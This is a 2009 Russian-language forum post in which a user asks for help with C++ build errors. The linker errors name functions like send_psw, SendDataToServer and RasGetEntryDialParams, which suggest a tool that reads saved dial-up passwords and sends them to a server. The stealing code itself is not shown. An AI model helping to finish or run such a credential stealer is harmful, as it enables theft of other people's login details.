Показать сообщение отдельно

  #2294  
Старый 09.02.2009, 10:08
Fl0dER
Познающий
Регистрация: 22.12.2008
Сообщений: 82
Провел на форуме:
107509

Репутация: 6
По умолчанию

Цитата:
Сообщение от Fl0dER  
Код:
void _fastcall TRASReader::Construct()
{
FLSAListCount = 0;
FLSAList = NULL;

lib = LoadLibrary("kernel32.dll");
XRtlMoveMemory = (TRtlMoveMemory *) GetProcAddress(lib, "RtlMoveMemory");
XRtlZeroMemory = (TRtlZeroMemory *) GetProcAddress(lib, "RtlZeroMemory");
}

Вот тут ошибки


Код:
1>e:\гыи\rasreader.cpp(11) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1>        Conversion from 'void*' to pointer to non-'void' requires an explicit cast
1>e:\гыи\rasreader.cpp(12) : error C2664: 'GetProcAddress' : cannot convert parameter 1 from 'HANDLE' to 'HMODULE'
1>        Conversion from 'void*' to pointer to non-'void' requires an explicit cast
Заменил Handle на HModule при компилиции терь такое О_о

Код:
1>main.obj : error LNK2019: unresolved external symbol _send@16 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _closesocket@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _connect@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_addr@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _htons@4 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _socket@12 referenced in function "int __stdcall SendDataToServer(void *,unsigned long,unsigned short,char *)" (?SendDataToServer@@YGHPAXKGPAD@Z)
1>main.obj : error LNK2019: unresolved external symbol _inet_ntoa@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _gethostbyname@4 referenced in function "int __stdcall GetIpByHostName(char *,char *,unsigned long)" (?GetIpByHostName@@YGHPAD0K@Z)
1>main.obj : error LNK2019: unresolved external symbol _WSAStartup@8 referenced in function "int __cdecl send_psw(void)" (?send_psw@@YAHXZ)
1>main.obj : error LNK2019: unresolved external symbol _RasEnumConnectionsA@12 referenced in function "bool __cdecl IsInternetConnected(void)" (?IsInternetConnected@@YA_NXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasEnumEntriesA@20 referenced in function "protected: unsigned long __fastcall TRASReader::GetRasEntryCount(void)" (?GetRasEntryCount@TRASReader@@IAIKXZ)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryPropertiesA@24 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>RASreader.obj : error LNK2019: unresolved external symbol _RasGetEntryDialParamsA@12 referenced in function "public: char * __fastcall TRASReader::GetRasEntries(void (__fastcall*)(char *,char *,char *,char *,char *),bool *)" (?GetRasEntries@TRASReader@@QAIPADP6IXPAD0000@ZPA_N@Z)
1>MSVCRTD.lib(crtexew.obj) : error LNK2019: unresolved external symbol _WinMain@16 referenced in function ___tmainCRTStartup
 
Ответить с цитированием